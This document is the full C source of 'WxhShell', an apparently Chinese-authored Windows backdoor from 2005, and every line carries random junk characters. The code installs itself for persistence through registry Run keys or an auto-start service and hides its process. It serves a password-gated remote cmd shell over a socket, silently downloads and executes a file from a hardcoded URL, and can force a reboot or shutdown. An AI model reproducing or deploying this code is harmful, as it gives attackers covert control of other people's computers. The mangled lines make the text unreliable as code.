    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,ORG"]_F  
    if(Boot(SHUTDOWN)) zr;Y1Xt4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rb}wv16?  
    else { "J[i=~(  
    closesocket(wsh); : ` 6$/DK  
    ExitThread(0); id#k!*$7  
    } pJ$N@ID  
    break; I bv_D$cT  
    } At[n<8_|  
  // 获取shell =y-!k)t  
  case 's': { 9>[.=  
    CmdShell(wsh); j#nO6\&o  
    closesocket(wsh); 8T.5Mhx0jS  
    ExitThread(0); #SihedWi  
    break; 1l|A[ G  
  } ; LF)u2x=  
  // 退出 0q>NE <L  
  case 'x': { $kD`$L@U  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4z0R\tjT  
    CloseIt(wsh); w1"gl0ga$  
    break; M8",t{7  
    } & L.PU@  
  // 离开 _^xh1=Qr}n  
  case 'q': { |p8"9jN@}c  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {sfmWVp  
    closesocket(wsh); il>x!)?o  
    WSACleanup(); nzE,F\k  
    exit(1); v1"g!%U6  
    break; ej"o?1l@  
        } 9?l?G GmQ  
  } (4{ C7  
  } srChY&h?<  
ll<9f)  
  // 提示信息 z7t'6Fy9'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;oY(I7  
} s7UhC.>'@  
  } e0|_Z])D  
UP~WP@0F  
  return; 1hMX(N&|  
} =~W0~lxX  
` r'0"V  
// shell模块句柄 RP|>&I  
int CmdShell(SOCKET sock) /:Z~"Q*r  
{ _8NEwwhc  
STARTUPINFO si; WK_y1(v>  
ZeroMemory(&si,sizeof(si)); GEe 0@q#YA  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m_E[bDON  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,3J`ftCV  
PROCESS_INFORMATION ProcessInfo; R!_8jD:$  
char cmdline[]="cmd"; rKy-u  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V$-~%7@>;9  
  return 0; bU:}ZO^S  
} 2Pem%HE~P  
oXQ<9t1(  
// 自身启动模式 )4'x7Qg/  
int StartFromService(void) ~3'OiIw1@  
{ dxkRk#mf:  
typedef struct e$ XY\{  
{ 22al  
  DWORD ExitStatus; ;Oi[:Ck  
  DWORD PebBaseAddress; \&\_>X.,  
  DWORD AffinityMask; 20.-;jK  
  DWORD BasePriority; ySixYt  
  ULONG UniqueProcessId; y ;{^Ln4{  
  ULONG InheritedFromUniqueProcessId; c9*1$~(v0I  
}   PROCESS_BASIC_INFORMATION; ?x5wS$^q<  
!e:iB7<  
PROCNTQSIP NtQueryInformationProcess; {;Y 89&*R  
==h|+NFa  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :~ZqB\>i  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; eC+"mhB  
jsNH`"  
  HANDLE             hProcess; =.qm8+  
  PROCESS_BASIC_INFORMATION pbi; 9k=U0]!ch  
7g A08M[O  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I9[1U   
  if(NULL == hInst ) return 0; ?u_gXz;A  
#K :-Bys5v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $S6HZG:N  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }XGMa?WR  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z{,GZT  
3wN?|N  
  if (!NtQueryInformationProcess) return 0; MG7 ?N #  
~|y^\U@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ` j&0VIU>>  
  if(!hProcess) return 0; ()QOZ+x_!  
5|<yfk8*J  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "EcX_>  
|+Hp+9J  
  CloseHandle(hProcess); e-CNQnO~  
X$7Oo^1;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); h&=O-5  
if(hProcess==NULL) return 0; GSMk\9SI  
T~i%j@Q.6  
HMODULE hMod; w24{_ N  
char procName[255]; X(Y#9N"  
unsigned long cbNeeded; P"(z jG9-  
heE}_,$|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ia%z+:G  
d5@X#3Hd  
  CloseHandle(hProcess); ADv^eJJ|  
DS#c m3  
if(strstr(procName,"services")) return 1; // 以服务启动 w/b>awI  
=jg#fdM -  
  return 0; // 注册表启动 ..t,LU@|  
} ,op]-CY 5  
g>2aIun_Q  
// 主模块  0dgP  
int StartWxhshell(LPSTR lpCmdLine) b]!9eV$  
{ G(U9rJ9  
  SOCKET wsl; ;y>S7n>n:  
BOOL val=TRUE; o"rq/\ovv  
  int port=0; '|vD/Qf=&  
  struct sockaddr_in door; Tub1S v>J  
o!aLZ3#X  
  if(wscfg.ws_autoins) Install(); [##`U m  
403[oOj  
port=atoi(lpCmdLine); YBb)/ZghY  
#O2wyG)oU  
if(port<=0) port=wscfg.ws_port; vU=9ydAj?  
"$XYIuT  
  WSADATA data; 2v0!` &?M{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~I{EE[F>qL  
9T(L"9r-e  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;B&^yj&;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); BjJ,"sT  
  door.sin_family = AF_INET; K)\(wxv  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4p.^'2m  
  door.sin_port = htons(port); PG{i,xq_B{  
?b||Cr  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =43I1&_   
closesocket(wsl); "(s6aqO$  
return 1; K&=D-50%  
} PJzc=XPU  
^_v[QV  
  if(listen(wsl,2) == INVALID_SOCKET) { AY#wVy  
closesocket(wsl); t)YUPDQ@J  
return 1; <f N; xIB  
} ev9; Ld  
  Wxhshell(wsl); "\e:h| .G  
  WSACleanup(); $}t=RW  
sLb8*fak  
return 0; cAD[3b[Gk  
N_UQ  
} tAF]2VV(e  
\tY"BC4.  
// 以NT服务方式启动 i+g~ Uj}h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,V,f2W 4  
{ $@_{p*q  
DWORD   status = 0; 93j{.0]X  
  DWORD   specificError = 0xfffffff; M\Se_  
a6%@d_A  
  serviceStatus.dwServiceType     = SERVICE_WIN32; bW53" `X  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; v? L  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [ `7%sn]$  
  serviceStatus.dwWin32ExitCode     = 0; 3UdU"d[75  
  serviceStatus.dwServiceSpecificExitCode = 0; v:E;^$6Vn  
  serviceStatus.dwCheckPoint       = 0; Yu'a<5f  
  serviceStatus.dwWaitHint       = 0; L>dkrr)e  
-"=)z /S  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~W<CE_/]k  
  if (hServiceStatusHandle==0) return; +b^]Pz5  
NUCiY\td  
status = GetLastError(); )l&D]3$6K  
  if (status!=NO_ERROR) #%:c0=  
{ 2-~|Z=eGW  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; F/>*If s  
    serviceStatus.dwCheckPoint       = 0; nZfs=@w:y  
    serviceStatus.dwWaitHint       = 0; U@'F%nHw  
    serviceStatus.dwWin32ExitCode     = status; owvS/"@  
    serviceStatus.dwServiceSpecificExitCode = specificError; fAGctRGH  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `H\)e%]  
    return; Y;Ap9i*  
  } 8nCp\0  
)0^ >#k  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; H3 , ut  
  serviceStatus.dwCheckPoint       = 0; 8-m 3e  
  serviceStatus.dwWaitHint       = 0; DECB*9O ^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xACdZB(  
} 7Y1GUIRa3  
r`j Wp\z  
// 处理NT服务事件,比如:启动、停止 %Tv^GP{}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gY(1,+0-  
{ `0{ S3v  
switch(fdwControl) 5,1{Tv`  
{ U&UKUACn"  
case SERVICE_CONTROL_STOP: 44\cI]!{  
  serviceStatus.dwWin32ExitCode = 0; /.Fj.6U5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; pj0fM{E  
  serviceStatus.dwCheckPoint   = 0; >O#grDXb  
  serviceStatus.dwWaitHint     = 0; "X04mQn15  
  { }u%"$[I}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /)EY2Y'  
  } EF#QH _X  
  return; 87V1#U^  
case SERVICE_CONTROL_PAUSE: UL( lf}M  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; j?6X1cMq  
  break; 2C$R4:Ssw)  
case SERVICE_CONTROL_CONTINUE: & ze>X  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (CJ.BHu]  
  break; 9@K.cdRjQ  
case SERVICE_CONTROL_INTERROGATE: .$&Q[r3Lu  
  break; e4`uVq5  
}; a^t?vv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H6K`\8/SeN  
} )}MHx`KT2  
WA6!+Gy  
// 标准应用程序主函数 O/Rhf[7v*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) KL [ek  
{ 5|I55CTx  
G_ >G'2  
// 获取操作系统版本 FY'ty@|_s  
OsIsNt=GetOsVer(); 2 rN ,D(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); xyA-P& N  
/6K Il  
  // 从命令行安装 x[(?#  
  if(strpbrk(lpCmdLine,"iI")) Install(); D\1k.tI  
+ H_WlYg-  
  // 下载执行文件 HfB@vw^  
if(wscfg.ws_downexe) { CSTI?A"P  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g5Z#xszj+  
  WinExec(wscfg.ws_filenam,SW_HIDE); !TKkec8$  
} 1u|V`J)0  
t *G/]  
if(!OsIsNt) { ka"337H  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~rD={&0  
HideProc(); 8X$LC  
StartWxhshell(lpCmdLine); k |YWOy@D~  
} yClx` S(  
else +Qxu$#  
  if(StartFromService()) 71fk.16  
  // 以服务方式启动 m ee$"Y  
  StartServiceCtrlDispatcher(DispatchTable); l|/LQ/  
else - nbMTY}  
  // 普通方式启动 Km#pX1]>e  
  StartWxhshell(lpCmdLine); 4)6xU4eBaL  
| ?yo 3  
return 0; 2xwlKmI N  
} V\]" }V)"  
1ocJ+  
$((6=39s  
(ljF{)Ml+=  
=========================================== ] )DX%$f  
CO:u1?  
2@=IT0[E\  
j;1-p>z  
hm*cw[#O1x  
1oLv.L  
" D*PYr{z'  
O81X ;JdP3  
#include <stdio.h> errH>D~  
#include <string.h> & fC!(Oy  
#include <windows.h> ao" %WX  
#include <winsock2.h> Sh6JF574T  
#include <winsvc.h> +pm[f["C.  
#include <urlmon.h> I6!5Yj]O"  
JAjmrX  
#pragma comment (lib, "Ws2_32.lib") !4"^`ors$  
#pragma comment (lib, "urlmon.lib") U69u'G:  
i_R e*  
#define MAX_USER   100 // 最大客户端连接数 /u%h8!"R  
#define BUF_SOCK   200 // sock buffer (-77[+2  
#define KEY_BUFF   255 // 输入 buffer Ny- [9S-<  
+!IQj0&'Y3  
#define REBOOT     0   // 重启 @Ky> 9m{  
#define SHUTDOWN   1   // 关机 '*^yAlgtt  
/iC;%r1L  
#define DEF_PORT   5000 // 监听端口 v1JS~uDz  
/cr}N%HZB  
#define REG_LEN     16   // 注册表键长度 Ys+OB*8AE  
#define SVC_LEN     80   // NT服务名长度 H5CR'Rp  
Kv'n:z7Md  
// 从dll定义API WtulTAfN  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [#Lc]$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #11NPo9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Uxfl_@lJ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 57a2^  
'ly?P8h  
// wxhshell配置信息 "gtHTqheH  
struct WSCFG { [H<bh%  
  int ws_port;         // 监听端口 O,bkQY$v  
  char ws_passstr[REG_LEN]; // 口令 .nu @ o40  
  int ws_autoins;       // 安装标记, 1=yes 0=no T<3BT  
  char ws_regname[REG_LEN]; // 注册表键名 TGXa,A{  
  char ws_svcname[REG_LEN]; // 服务名 =<r8fXWZ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 g]c[O*NTL  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |Xi%   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `p b5*h6r!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no RO;Bl:x4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p(;U@3G  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 do*}syQ`O  
I:bD~F b3  
}; vu!d)Fy  
n79QJl/  
// default Wxhshell configuration ;8WZx  
struct WSCFG wscfg={DEF_PORT, T{qTj6I  
    "xuhuanlingzhe", H1GRMDNXOA  
    1, Jj~EiA  
    "Wxhshell",  T9)nQ[  
    "Wxhshell", &cWjE x  
            "WxhShell Service", O%g $9-?F0  
    "Wrsky Windows CmdShell Service", 8dD2  
    "Please Input Your Password: ", <!-sZ_qq  
  1, W?yd#j  
  "http://www.wrsky.com/wxhshell.exe", b*a2,MiM  
  "Wxhshell.exe" |Fm6#1A@  
    }; BqDKT  
dkgSvi :!  
// 消息定义模块 YprH wL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5uq3\a  
char *msg_ws_prompt="\n\r? for help\n\r#>"; fO'Wj`&a  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  ~ ~uAc_  
char *msg_ws_ext="\n\rExit."; 8l}1c=A}Vi  
char *msg_ws_end="\n\rQuit."; 2!&&|Mh}  
char *msg_ws_boot="\n\rReboot..."; j'[m:/  
char *msg_ws_poff="\n\rShutdown..."; ^ -FX  
char *msg_ws_down="\n\rSave to "; yR{x}DbG  
b" xmqWa  
char *msg_ws_err="\n\rErr!"; Uv YF[@  
char *msg_ws_ok="\n\rOK!"; C%*k.$#r!  
Mb3}7@/[  
char ExeFile[MAX_PATH]; Om{l>24i.\  
int nUser = 0; .=m,hu~  
HANDLE handles[MAX_USER]; (b?{xf'G  
int OsIsNt; +3s%E{  
M(#m0x B  
SERVICE_STATUS       serviceStatus; u2oKH{/z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ikWtC]y  
:m86 hBE.  
// 函数声明 D=:04V}2+  
int Install(void); !D!~ ^\  
int Uninstall(void); hA\K</h.  
int DownloadFile(char *sURL, SOCKET wsh); [."[pY  
int Boot(int flag); `V)Z)uN{0  
void HideProc(void); pa}*E  
int GetOsVer(void); Z_\C*^  
int Wxhshell(SOCKET wsl); ?JL7=o X  
void TalkWithClient(void *cs); J=.`wZQkS  
int CmdShell(SOCKET sock); $^u}a   
int StartFromService(void); go+Q~NV   
int StartWxhshell(LPSTR lpCmdLine); UobyK3.%  
H|cNH=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 85 EQ5yY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #%J5\+ua  
$+.l*]  
// 数据结构和表定义 l3N I$Z u  
SERVICE_TABLE_ENTRY DispatchTable[] = 7t,t`  
{ eh,~^x5  
{wscfg.ws_svcname, NTServiceMain}, ?#yV3h|Ij  
{NULL, NULL} SIBoCs5  
}; eEhr140  
\!]Ua.e<  
// 自我安装 BBcV9CGU  
int Install(void) LZMYr  
{ hhoEb(BA  
  char svExeFile[MAX_PATH]; f+rz|(6vs{  
  HKEY key; GGhM;%H_99  
  strcpy(svExeFile,ExeFile); .]aF 1}AI  
Hw#d_P:  
// 如果是win9x系统,修改注册表设为自启动 Sa19q.~%  
if(!OsIsNt) { uKgZ$-'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R/"x}B1d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qfcYE=  
  RegCloseKey(key); "c}@V*cO<d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5*[2yKsTi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7ugZE93!  
  RegCloseKey(key); O;7)Hjwt  
  return 0; f|u#2!7  
    } 7JSNYTH  
  } =^ T\Xs;GK  
} P{Q=mEQ  
else { FKe,qTqa  
2lL,zFAq  
// 如果是NT以上系统,安装为系统服务 '+j} >Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); A(]H{>PMy  
if (schSCManager!=0) jqr1V_3(  
{ ]kG(G%r|M  
  SC_HANDLE schService = CreateService s,a}?W  
  ( ^5r9 5  
  schSCManager, sg E-`#  
  wscfg.ws_svcname, s+:=I e  
  wscfg.ws_svcdisp, fO#vF.k%  
  SERVICE_ALL_ACCESS, LJoGpr 8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , eAPXWWAZJ1  
  SERVICE_AUTO_START, ~ ihI_q"  
  SERVICE_ERROR_NORMAL, ,vW:}&U  
  svExeFile, pLv$\ MiZ  
  NULL, ;-UmY}MU  
  NULL, 9n}p;3{f  
  NULL, !|c|o*t{  
  NULL, +2 Af&~T  
  NULL _)]CzBRq\6  
  ); !x'/9^i~v  
  if (schService!=0) Z,iHy3`  
  { u1xSp<59C  
  CloseServiceHandle(schService); A)ipFB 6K  
  CloseServiceHandle(schSCManager); u.rY#cS,-R  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); wf1lyS  
  strcat(svExeFile,wscfg.ws_svcname); &~CY]PN.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { B c2p(z4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >vo=]c w  
  RegCloseKey(key); y\{%\$  
  return 0; Fd*8N8Pi  
    } TIvRhbu  
  } %v2R.?F8  
  CloseServiceHandle(schSCManager); H(Eh c  
} I@\OaUGr+  
} BC'llD  
<V>dM4Mkr  
return 1; UwC=1g U  
} _#vrb;.+  
Xy%p"b<  
// 自我卸载 imiR/V>N  
int Uninstall(void) 7 I>G{  
{ epgPT'^  
  HKEY key; sUPz/Z.h  
@?"h !fyu  
if(!OsIsNt) { KN-avu_Ix  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mS0udHod  
  RegDeleteValue(key,wscfg.ws_regname); }`+B=h-dW  
  RegCloseKey(key); ``E/m<r:$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }<'5 z qS  
  RegDeleteValue(key,wscfg.ws_regname); F5o+kz$;  
  RegCloseKey(key); TwgrRtj'  
  return 0; :_QCfH  
  } ^wS5>lf7p  
} LY+|[qka  
} |*`Z*6n  
else { 0?>dCu\  
c&L"N!4z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d:yqj:  
if (schSCManager!=0) ~Ch+5A;  
{ *}8t{ F@k  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); W0}B'VS.I  
  if (schService!=0) p uT'y  
  { 8mQmi`  
  if(DeleteService(schService)!=0) { w|Nz_3tI  
  CloseServiceHandle(schService); \(%Y%?dy  
  CloseServiceHandle(schSCManager); '? jlH0;  
  return 0; jMpD+Mb  
  } 0>zbCubPH  
  CloseServiceHandle(schService); VsA'de!V4[  
  } WVLHfkN  
  CloseServiceHandle(schSCManager); 1IVuSp`{FU  
} tY <Z'xA?  
} VcoOeAKL  
*_?dVhxf  
return 1; 0:b2(^]bg  
} RVeEkv[qp  
Gdg"gi!4  
// 从指定url下载文件 Ge<nxl<Bd  
int DownloadFile(char *sURL, SOCKET wsh) +E1h#cc)  
{ <vwkjCA`  
  HRESULT hr; Onwp-!!.  
char seps[]= "/";  @Pt="*g  
char *token; GH[wv<  
char *file; ~}<DG1!  
char myURL[MAX_PATH]; H9CS*|q6r  
char myFILE[MAX_PATH]; B,{K*-7)MX  
MR}Agu#LG  
strcpy(myURL,sURL); ciMzf$+G$  
  token=strtok(myURL,seps); K#"O a h  
  while(token!=NULL) HF(KN{0.B  
  { zk( U8C+  
    file=token; 2,*M|+W~  
  token=strtok(NULL,seps); :^(>YAyHj^  
  } Q f@  
'} $Dgp6e  
GetCurrentDirectory(MAX_PATH,myFILE); N$[{8yil^w  
strcat(myFILE, "\\"); A,4fEmWM  
strcat(myFILE, file); ){UcS/GI=  
  send(wsh,myFILE,strlen(myFILE),0); &-;5* lg)0  
send(wsh,"...",3,0); ttu&@ =  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0'IBN}  
  if(hr==S_OK) 73){K?R  
return 0; x7$}8LZ"B  
else I(XOE$3  
return 1; y:6; LZ9[  
_8E/) M  
} &%-73nYw  
N ,z6y5Lu  
// 系统电源模块 >vA2A1WhW  
int Boot(int flag) Jkek-m  
{ $*?,#ta  
  HANDLE hToken; e2A-;4?_  
  TOKEN_PRIVILEGES tkp; )Eo)t>  
K>{T_){  
  if(OsIsNt) { 53[~bwD  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); YD7Oao4:o  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $ , u+4h  
    tkp.PrivilegeCount = 1; X*\ J_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #{\%rWnCm  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {E8~Z8tT  
if(flag==REBOOT) { VX1-JxY  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \P6$mh\T  
  return 0; L+i(TM=  
} ?F3h)(}  
else { G nG>7f[v  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) qo|WXwP2  
  return 0; =y-@AU8  
} $b mLu=9  
  } ,KFapz!  
  else { tdu$pC6  
if(flag==REBOOT) { p}~qf  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1aTB%F  
  return 0; :*KHx|Q  
} L'kmNVvYN  
else { P ! _rEV  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;&)-;l7M  
  return 0; WILMH`  
} >=-(UA  
} hr)B[<9  
aYSCw 3C<  
return 1; t)}scf&^x  
} ;-qO'V:;  
~W-PD  
// win9x进程隐藏模块 Uw7h=UQh  
void HideProc(void) ~ (jKz}'~U  
{ MpR2]k#n<  
HKUn`ng  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b"{'T]"*j  
  if ( hKernel != NULL ) N=7pK&NHSG  
  { k-^mIJo}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5f 5f0|ok  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;67x0)kn  
    FreeLibrary(hKernel); qO|R^De  
  } e(<st r>  
R)m'lMi|  
return; Iepsz  
} =7m)sxj]w  
~o~!+`@q  
// 获取操作系统版本 pW J Fz-  
int GetOsVer(void) V: TM]  
{ L bmawi^  
  OSVERSIONINFO winfo; JVSA&c%3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ybKWOp:O  
  GetVersionEx(&winfo); lE(a%'36  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) W~7A+=&  
  return 1; ", KCCis  
  else $cU!m(SILQ  
  return 0; i=oU;7~zK  
} 5l UF7:A>#  
%#xaA'? [  
// 客户端句柄模块 2$ze= /l  
int Wxhshell(SOCKET wsl) wG-HF'0L  
{ 85Otss/mM  
  SOCKET wsh; .E8_Oz  
  struct sockaddr_in client; Su/6Q$0 t  
  DWORD myID; SSWP~ t  
LAS'u "c|  
  while(nUser<MAX_USER) wMg0>  
{ !`Hd-&}bYz  
  int nSize=sizeof(client); fy@<&U5rg  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %2{ %Obp'  
  if(wsh==INVALID_SOCKET) return 1; |#cm`v  
=V-|#j  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); TI,&!E?;  
if(handles[nUser]==0) FwkuC09tI  
  closesocket(wsh); HOJs[mqB%  
else `3WFjU 5a  
  nUser++; P"8~$ P#  
  } kr9*,E9cv  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %|q>pin2  
sl`s_$J  
  return 0; ~lsl@  
} g'n7T|h ~  
9\mLW"  
// 关闭 socket &&8IU;J  
void CloseIt(SOCKET wsh) `n @*{J8  
{ 6"J? #  
closesocket(wsh); q!u~jI9 j  
nUser--; n%o5kVx0  
ExitThread(0); >\P@^ h]  
} wc}5m Hs  
E%,^Yvh/  
// 客户端请求句柄 FE (ev 9@  
void TalkWithClient(void *cs) i/`m`qdg  
{ VyXhl;  
fY51:0{  
  SOCKET wsh=(SOCKET)cs; &;[Io  
  char pwd[SVC_LEN]; gv- xm  
  char cmd[KEY_BUFF]; %4,O 2\0?&  
char chr[1]; pm 9"4z  
int i,j; YA_c N5p/@  
IID-k  
  while (nUser < MAX_USER) { v,-HU&/*B  
RL@VSHXc  
if(wscfg.ws_passstr) { i%#+\F.&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [ 0KlC1=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xy/`ZS2WPq  
  //ZeroMemory(pwd,KEY_BUFF); {E9+WFz5  
      i=0; mpU$ +  
  while(i<SVC_LEN) { ,*&:2o_r  
_u5#v0Y  
  // 设置超时 $0>60<J  
  fd_set FdRead; %7IugHH9y  
  struct timeval TimeOut; p93r'&Q  
  FD_ZERO(&FdRead); t\k$};qJ  
  FD_SET(wsh,&FdRead); @hiCI.?X  
  TimeOut.tv_sec=8; /'l{E  
  TimeOut.tv_usec=0; `(ue63AZ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~obqG!2m  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "$+Jnc!!  
lm-dW'7&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P3x= 8_#  
  pwd=chr[0];  ' V^6XI  
  if(chr[0]==0xd || chr[0]==0xa) { Q  Nh|Wz  
  pwd=0; -pf}  
  break; 59Xi3KY  
  } s E2D#D  
  i++; 8 D3OOab  
    } mS$j?>m  
)U7t  
  // 如果是非法用户,关闭 socket K1"*.\?F  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); V3Q+s8OIF  
} bMg(B-uF7  
Ui_8)z _  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |ef7bKU8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Xqg@ e:g  
Ce9|=Jx!  
while(1) { hV8[@&Sx3  
B%)%  
  ZeroMemory(cmd,KEY_BUFF); O`x;,6Vr  
Z_};|B}  
      // 自动支持客户端 telnet标准   lYVz 3p  
  j=0; 4B =7:r  
  while(j<KEY_BUFF) { nm5cpnNl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *4Thd:7 `  
  cmd[j]=chr[0]; =n5zM._S-  
  if(chr[0]==0xa || chr[0]==0xd) { 8_BV:o9kL  
  cmd[j]=0; J>wt (] y  
  break; NO "xL,  
  } F\JM\{&F  
  j++; #>b3"[ |  
    } Neq+16*u  
D/Z6C&/I  
  // 下载文件 X$ 0?j 1  
  if(strstr(cmd,"http://")) { u]<,,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5nv#+ap1 "  
  if(DownloadFile(cmd,wsh)) C%$edEi  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [')m|u~FS4  
  else "CSsCA$/  
